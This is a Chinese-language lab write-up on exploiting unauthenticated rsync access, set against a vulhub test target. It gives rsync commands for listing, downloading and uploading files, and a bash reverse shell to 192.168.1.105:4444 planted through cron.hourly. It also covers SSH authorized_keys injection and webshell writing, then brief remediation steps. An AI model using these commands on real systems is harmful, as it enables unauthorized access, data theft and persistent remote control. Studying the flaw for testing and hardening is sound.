应用简介
rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口
漏洞简介
由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件,rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行
测试环境
attacker:kali linux
victim:vulhub里面的rsync
rsync基本命令
列出模块rsync rsync://192.168.1.107:873/
列出模块src下的文件rsync rsync://192.168.1.107:873/src
下载文件,比如下载rsync下的配置文件rsyncd.conf另存为本地/root/1.confrsync -av rsync://192.168.1.107:873/src/etc/rsyncd.conf /root/1.conf
上传文件,比如上传1.conf到/src/etc/upload.txtrsync -av 1.conf rsync://192.168.1.107/src/etc/upload.txt
常见利用方式
计划任务反弹shell
写好shell,内容为#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.1.105/4444 0>&1
chmod +x shell赋予可执行权限,然后上传到/etc/cron.hourly
下载crontab配置文件,查看
17表示每个小时的第17分钟执行一次,如果觉得要等很久可以上传crontab文件修改17为离自己最近那个时间,然后反弹回shell
写ssh-keygen公钥然后使用私钥登陆
如果目标机开启了22端口,那么和Redis一样ssh-keygen -t rsa首先在本地生成一对密钥,在.ssh下查看id_rsa.pub,将里面的内容放进.ssh目录下的authorized_keys文件中,记得左右两边的\n防止代码混淆,然后就可以免密登录ssh
往web物理路径写webshell
同样如果有web服务开启写入权限就可以往源码里面写入一句话获取webshell
修复方案
添加一个账号和密码
新建一个文件vim /etc/rsyncd.passwd
按一下格式写入能登陆的用户名和密码username :password
设置允许连入的IP
合理分配权限
数据加密传输
参考链接